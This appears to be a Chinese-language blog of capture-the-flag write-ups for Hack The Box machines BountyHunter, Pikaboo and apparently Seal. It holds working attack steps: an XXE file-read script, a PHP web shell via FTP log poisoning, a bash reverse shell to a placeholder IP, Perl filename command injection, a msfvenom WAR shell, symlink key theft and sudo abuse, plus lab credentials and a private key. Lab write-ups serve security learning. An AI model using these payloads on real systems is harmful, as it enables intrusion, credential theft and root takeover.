BountyHunter

/images/HTB-BountyHunter-Machine/Untitled.png

端口扫描

1
2
3
4
5
6
7
PORT   STATE SERVICE REASON         VERSION                                                                             22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

User

网站主页发现如下注释:

/images/HTB-BountyHunter-Machine/Untitled%201.png

To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.

dirsearch使用字典directory-list-2.3-medium.txt发现如下目录

1
2
3
4
5
[04:33:35] Starting:
[04:33:42] 301 - 316B - /resources -> http://10.10.11.100/resources/
[04:33:56] 301 - 313B - /assets -> http://10.10.11.100/assets/
[04:34:13] 301 - 310B - /css -> http://10.10.11.100/css/
[04:34:39] 301 - 309B - /js -> http://10.10.11.100/js/

/resources目录的README.txt包含待办任务列表

1
2
3
4
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

从首页的PORTAL进入portal.phpportal.php页面存在一个到http://10.10.11.100/log_submit.php的链接

/images/HTB-BountyHunter-Machine/Untitled%202.png

/images/HTB-BountyHunter-Machine/Untitled%203.png

查看log_submit.php页面加载的bountylog.js,可以看到上图填写的表单数据将转换为XML格式并进行Base64编码后提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}

async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}

tracker_diRbPr00f314.php存在XXE,编写如下Bash脚本方便利用XXE读取文件

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
payload=$(echo -n '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "'$1'">]>
<bugreport>
<title>&xxe;</title>
<cwe>2</cwe>
<cvss>3</cvss>
<reward>4</reward>
</bugreport>' | base64 -w 0)
curl http://10.10.11.100/tracker_diRbPr00f314.php --data-urlencode 'data='$payload

通过PHP wrapper读取PHP文件源码,经过一些尝试找到文件db.php,使用xxe.sh php://filter/convert.base64-encode/resource=db.php读取其内容,将得到的Base64编码的字符串解码后得到密码m19RoAU0hP41A1sTsq6K

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

读取/etc/passwd可以得到用户名development,使用development:m19RoAU0hP41A1sTsq6K登录SSH

1
2
development@bountyhunter:~$ cat user.txt
33e36fa6b96ef6f082bd7f561f7d749f

Root

执行sudo -l,发现development能够以root权限执行命令/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

1
2
3
4
5
6
development@bountyhunter:/bin$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

/opt/skytrain_inc/ticketValidator.py中能够导致提权的关键代码如下

1
2
3
4
5
6
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))

x变量的值为**11+__import__('os').system('/bin/bash -p')时,将执行eval("11+__import__('os').system('/bin/bash -p')"),最后以root权限运行bash

/home/development目录创建名为exp.md的文件,内容如下

1
2
3
4
# Skytrain Inc
## Ticket to exp
__Ticket Code:__
**11+__import__('os').system('/bin/bash -p')

执行sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py,输入exp.md所在路径/home/development/exp.md,成功得到root权限

1
2
3
4
5
6
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/exp.md
Destination: exp
root@bountyhunter:/home/development# cat /root/root.txt
29d81a64e7c8b433f9f53aee1c8a4fe8

Pikaboo

/images/HTB-Pikaboo-Machine/Untitled.png

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT   STATE SERVICE REASON  VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAgG6pLBPMmXneLGYurX9xbt6cE2IYdEN9J/ijCVrQbpUyVeTNWNoFnpB8+DIcppOtsJu0X3Iwpfb1eTmuop8q9nNlmyOcOTBHYOYLQwa+G4e90Bsku86ndqs+LU09sjqss5n3XdZoFqunNfZb7EirVVCgI80Lf8F+3XRRIX3ErqNrk2LiaQQY6fcAaNALaQy9ked7KydWDFYizO2dnu8ee2ncdXFMBeVDKGVfrlHAoRFoTmCEljCP1Vsjt69NDBudCGJBgU1MbItTF7DtbNQWGQmw8/9n9Jq8ic/YxOnIKRDDUuuWdE3sy2dPiw0ZVuG7V2GnkkMsGv0Qn3Uq9Qx7
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIJl6Z/XtGXJwSnO57P3CesJfRbmGNra4AuSSHCGUocKchdp3JnNE704lMnocAevDwi9HsAKARxCup18UpPHz+I=
| 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINyHVcrR4jjhBG5vZsvKRsKO4SnXj3GqeMtwvFSvd4B4
80/tcp open http syn-ack nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

User Flag

FTP服务无法匿名登录,先看看Web部分

/images/HTB-Pikaboo-Machine/Untitled%201.png

Nginx/1.14.2服务器设置为反向代理,实际请求由侦听在127.0.0.1:81Apache/2.4.38处理

/images/HTB-Pikaboo-Machine/Untitled%202.png

后端语言为PHP,浏览网页找到的路径有

  • /index.php
  • /pokatdex.php
  • /pokeapi.php
  • /admin*
  • /images
  • /artwork

其中/admin*要求Basic认证

1
2
3
4
5
6
7
$ curl 'http://pikaboo.htb/admin' -I
HTTP/1.1 401 Unauthorized
Server: nginx/1.14.2
Date: Sun, 18 Jul 2021 09:24:57 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
WWW-Authenticate: Basic realm="Authentication Required"

/pokeapi.php有一个id参数,但无论怎么填写,返回的页面都提示"PokeAPI Integration - Coming soon!"

/images/HTB-Pikaboo-Machine/Untitled%203.png

/images/返回403,但在请求/images时的302响应中泄露了Apache的一个路径/pokatdex

1
2
3
4
5
6
7
8
9
10
$ curl 'http://pikaboo.htb/images'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1:81/pokatdex/images/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>

根据/admin*路径的行为(*通配符代表/admin之后的部分可以任意匹配),推测Nginx针对/adminlocation

1
2
3
location /admin {
proxy_pass http://127.0.0.1:81/xxx/;
}

这条location规则可以通过/admin../实现路径穿越

结合前面/images302响应中泄露的路径/pokatdex,可以构造URL:http://pikaboo.htb/admin../pokatdex/

浏览该URL,返回的页面与http://pikaboo.htb/相同

/images/HTB-Pikaboo-Machine/Untitled%204.png

这说明http://pikaboo.htb/admin../pokatdex会被Nginx转发到http://127.0.0.1:81/pokatdex/../pokatdex,因此存在路径穿越

既然现在可以访问Apache服务器的/目录,那么来枚举一下/目录中有哪些文件/目录,使用的字典为apache.txt

1
2
3
$ rustbuster dir -u http://pikaboo.htb/admin.. -f -e php,txt,bak,xml -w /usr/share/seclists/Discovery/Web-Content/apache.txt -t 64 -k -S 404
GET 403 Forbidden http://pikaboo.htb/admin../icons/
GET 200 OK http://pikaboo.htb/admin../server-status/

查看/server-status,在页面中找到路径/admin_staging

/images/HTB-Pikaboo-Machine/Untitled%205.png

浏览http://pikaboo.htb/admin../admin_staging/,页面如下

/images/HTB-Pikaboo-Machine/Untitled%206.png

点击左侧”User Profile”,页面跳转到http://pikaboo.htb/admin../admin_staging/index.php?page=user.php,该URLpage参数可能存在LFI

访问http://pikaboo.htb/admin../admin_staging/index.php?page=../pokatdex/index.php成功加载/pokatdex/index.php文件

/images/HTB-Pikaboo-Machine/Untitled%207.png

使用php://filTer/convert.base64-encode/resource=index.php读取当前页面源码,发现page参数直接作为include的参数,也就是include的文件路径没有任何限制

1
2
3
if(isset($_GET['page'])) { 
include($_GET['page']);
}

尝试从LFIRCE,试过/etc/passwd和各种Web服务器日志文件路径,全都无法读取(php-fpm的配置限制了这些文件所在目录的访问权限?),只有vsftpd的日志文件/var/log/vsftpd.log可以读取

/images/HTB-Pikaboo-Machine/Untitled%208.png

使用ftp命令,输入<?php echo system($_GET['cmd']); ?>作为用户名,令该用户名写入/var/log/vsftpd.log日志中

/images/HTB-Pikaboo-Machine/Untitled%209.png

访问http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=whoami测试是否生效

/images/HTB-Pikaboo-Machine/Untitled%2010.png

执行bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4242 0>%261',获得Reverse Shell(目标主机经常清理/var/log/vsftpd.log,如果没有得到shell,可以重复ftp步骤)

/images/HTB-Pikaboo-Machine/Untitled%2011.png

读取/home/pwnmeow/user.txt获取user flag

1
2
www-data@pikaboo:/$ cat /home/pwnmeow/user.txt
078e9b25a640a4efc24376992caeb702

Root Flag

查看/etc/vsftpd.conf,发现vsftpd通过LDAP进行身份认证

1
2
3
4
5
6
7
virtual_use_local_privs=YES
local_enable=YES
pam_service_name=vsftpd.ldap
guest_enable=YES
#local_root=/home
local_root=/srv/ftp
hide_ids=YES

找了半天在/opt/pokeapi/config/settings.py文件中找到LDAP服务的用户名和密码(运行linpeas.sh -a没有提示settings.py,因为/opt不在linpeas.sh的默认密码查找目录列表中,尽管/opt/pokeapi/config/settings.py中有PASSWORD关键词)

1
2
3
4
5
6
7
8
9
10
11
12
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}

使用用户名cn=binduser,ou=users,dc=pikaboo,dc=htb和密码J~42%W?PFHl]g获取LDAPpwnmeow用户的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@pikaboo:/$ ldapsearch -LLL -W -x -H ldap://127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -b 'ou=users,dc=ftp,dc=pikaboo,dc=htb'
Enter LDAP Password:
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

Base64解码userPassword的值得到pwnmeow的密码为_G0tT4_C4tcH_'3m_4lL!_

1
2
www-data@pikaboo:/$ echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d
_G0tT4_C4tcH_'3m_4lL!_

目标主机cron service会定期以root权限运行/usr/local/bin/csvupdate_croncsvupdate_cron脚本代码如下

1
2
3
4
5
6
7
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done

该脚本对/srv/ftp的每个子目录执行/usr/local/bin/csvupdate {SUBDIR} *csvcsvupdate脚本代码如下(经简化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
# ......
'version_names' => 3,
'versions' => 3
);

my $type = $ARGV[0];
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}

csvupdate的参数分为两部分

1
csvupdate [type] [csv_file]...
  1. type参数用于从$csv_fields表中查找字段数,例如type=abilities时,$csv_fields{$type}得到的字段数为4'abilities' => 4
  2. csv_file参数可以传入任意数量,csvupdate读取并解析csv_file指向的文件

csvupdate通过for(<>)依次读取这些csv_file的内容,调用$csv->parse($_)解析CSV格式内容,然后判断CSV的字段数是否与type要求的字段数相同,如果相同则CSV文件的内容会被写到/opt/pokeapi/data/v2/csv/${type}.csv

可被用来提权的点就在for(<>)for(<>)实际会调用open函数,而Perl中的open函数可以用于执行系统命令,相关细节参考

open - Perldoc Browser

要利用open的这一特性需要该函数的文件名参数可控,在csvupdate脚本中该文件名参数就是csv_file,而pwnmeow用户所属ftp组,具有上传文件到/srv/ftp子目录的权限

通过上传后缀为csvPayload文件名到任意/srv/ftp子目录中,可由csvupdate_cron脚本将文件名作为csv_file参数传递给csvupdate脚本,最终csvupdatefor(<>)调用open函数并传入该Payload

执行以下命令在本地创建Payload,该Payload中的命令用于拷贝bash/srv/ftp,并设置/srv/bashSUID

1
touch ' | cp $(which bash) .. | bash -c ''chmod +s "..$(echo -e \\x2f)bash"'' | csv'

然后使用凭据pwnmeow:_G0tT4_C4tcH_'3m_4lL!_登录FTP服务,执行以下命令上传该Payload文件

1
2
3
4
5
6
7
8
ftp> cd types
250 Directory successfully changed.
ftp> put \ |\ cp\ $(which\ bash)\ ..\ |\ bash\ -c\ 'chmod\ +s\ \"..$(echo\ -e\ \\\\x2f)bash\"'\ |\ csv
local: | cp $(which bash) .. | bash -c 'chmod +s "..$(echo -e \\x2f)bash"' | csv
remote: | cp $(which bash) .. | bash -c 'chmod +s "..$(echo -e \\x2f)bash"' | csv
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.

最后,执行/srv/ftp/bash -p获得root权限

1
2
3
$ /srv/ftp/bash -p
bash-5.0\# cat /root/root.txt
960622e032ced73aeae96b7711980ad9

附加

PHP/etc/php/7.3/apache2/php.ini中设置open_basedir/var//var添加/结尾代表仅允许访问/var目录。如果结尾不加/,则只允许访问以/var开头的路径,例如像/variable/file这样的路径也是可以访问的)

1
open_basedir = /var/

Apache的日志文件权限设置为只有rootadm组的用户可读

1
2
bash-5.0\# ls -la /var/log/apache2/access.log
-rw-r----- 1 root adm 499 Jul 19 08:40 /var/log/apache2/access.log

所以才无法读取/etc/passwdApache的日志

参考

open - Perldoc Browser

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ rustscan --accessible -a 10.129.139.79 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/organizationalUnitName=Infra/localityName=Hackney/emailAddress=admin@seal.htb
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/organizationalUnitName=Infra/localityName=hackney/emailAddress=admin@seal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
8080/tcp open http-proxy syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Mon, 12 Jul 2021 07:21:47 GMT
| Set-Cookie: JSESSIONID=node01v4b0lt1pbivy1nsaj4blloo540.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

443 Port

枚举443端口的目录与文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ rustbuster dir -u https://seal.htb/ -f -e php,txt,json,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 404 -k
GET 302 Found https://seal.htb/images
=> http://seal.htb/images/
GET 200 OK https://seal.htb/
GET 302 Found https://seal.htb/admin
=> http://seal.htb/admin/
GET 302 Found https://seal.htb/icon
=> http://seal.htb/icon/
GET 302 Found https://seal.htb/css
=> http://seal.htb/css/
GET 302 Found https://seal.htb/js
=> http://seal.htb/js/
GET 302 Found https://seal.htb/manager
=> http://seal.htb/manager/
GET 302 Found https://seal.htb/manager/
=> http://seal.htb/manager/html
  • https://seal.htb/manager/Tomcat Manager/manager/text需要认证才能访问
  • https://seal.htb/admin/dashboard*响应状态码为403
  • /manager/html/dashboard均由Nginx返回403页面

/images/HTB-Seal-Machine/Untitled.png

8080 Port

8080端口部署了GitBucket,访问后跳转到登录页面

/images/HTB-Seal-Machine/Untitled%201.png

注册并登录后,发现root的2个Git存储库

/images/HTB-Seal-Machine/Untitled%202.png

seal_market存储库中是443端口上部署的Web应用的源码以及配置文件,而在该存储库中可能有Tomcat Manager的凭据

/images/HTB-Seal-Machine/Untitled%203.png

Git历史提交记录如下

/images/HTB-Seal-Machine/Untitled%204.png

User Tomcat

在描述为“Updating tomcat configuration”Commit中找到用户名与密码

/images/HTB-Seal-Machine/Untitled%205.png

1
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

根据tomcat用户的roles=manager-gui,admin-gui,我们只能用该用户访问/manager/html/manager/status页面,但是对于/manager/html页面会直接返回403,无法进行认证

在描述为“Updating nginx configuration”Commit中找到对nginx.conf的修改,发现Nginx会验证客户端,但我们可以使用.;/进行绕过,URL为https://seal.htb/manager/.;/html

/images/HTB-Seal-Machine/Untitled%206.png

当URI为/manager/.;/html时,Nginx匹配到如下location,直接将请求转发到Tomcat

/images/HTB-Seal-Machine/Untitled%207.png

请求被转发到Tomcat后,Tomcat会将/manager/.;/html理解为/manager/./html,最终返回/manager/html页面

使用前面的凭据通过认证后,接下来部署我们的reverse_shell.war到服务器上

首先,使用msfvenom生成revshell.war

1
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4242 -f war -o revshell.war

/manager/html上传并部署revshell.war

/images/HTB-Seal-Machine/Untitled%208.png

需要注意的是,这里要在Deploy请求的URL中添加.;/,否则还是会返回403

/images/HTB-Seal-Machine/Untitled%209.png

也可以不用Burp,直接修改HTML中form表单的URL即可

部署完成后,到reverse shell的URI显示在/manager/.;/html页面中

/images/HTB-Seal-Machine/Untitled%2010.png

运行nc侦听在4242端口,访问https://seal.htb/revshell得到shell

/images/HTB-Seal-Machine/Untitled%2011.png

User Luis

/opt/backup/playbook/run.yml中发现playbook会将/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下的文件备份到/opt/backups/files,并压缩为GZ文件

1
2
3
4
5
6
7
8
9
10
11
12
13
tomcat@seal:/opt/backups/playbook$ cat run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/

如果在/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录下创建符号链接,则能够以运行该备份任务的用户的权限读取特定文件

查看dashboard及其子目录的写入权限

1
2
3
4
5
6
7
8
9
10
tomcat@seal:/opt/backups/playbook$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root 4096 May 7 09:26 .
drwxr-xr-x 3 root root 4096 May 6 10:48 ..
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 10:42 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 09:26 uploads

我们具有对/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads目录的写权限,执行以下命令创建到/home/luis/.ssh/id_rsa的符号链接

1
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa

等待1分钟后,将/opt/backups/archives目录下最新的备份文件解压,读取luisid_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cp archives/backup-2021-07-12-09\:50\:34.gz /tmp/backup.gz
cd /tmp
gzip -d backup.gz
tar zxvf backup
cat dashboard/uploads/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

SSH登录luis用户,读取user.txt

1
2
luis@seal:~$ cat user.txt
068626492cd22943529c18eb9e7b9141

Root

执行sudo -l发现luis可以以root权限执行/usr/bin/ansible-playbook

1
2
3
4
5
6
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

我们可以参考/opt/backups/playbook/run.yml编写一个备份/root目录的playbook

将以下内容写入exp.yml,执行命令sudo /usr/bin/ansible-playbook exp.yml

1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/root dest=/tmp/root_backup copy_links=yes
- name: Server Backups
archive:
path: /tmp/root_backup/
dest: "/tmp/root.gz"
- name: Clean
file:
state: absent
path: /tmp/root_backup/

最后解压/tmp/root.gz,读取root.txt

1
2
3
4
gunzip root.gz
tar xvf root
cat root/root.txt
5b627599bd723ff7bf12dae1a582cf15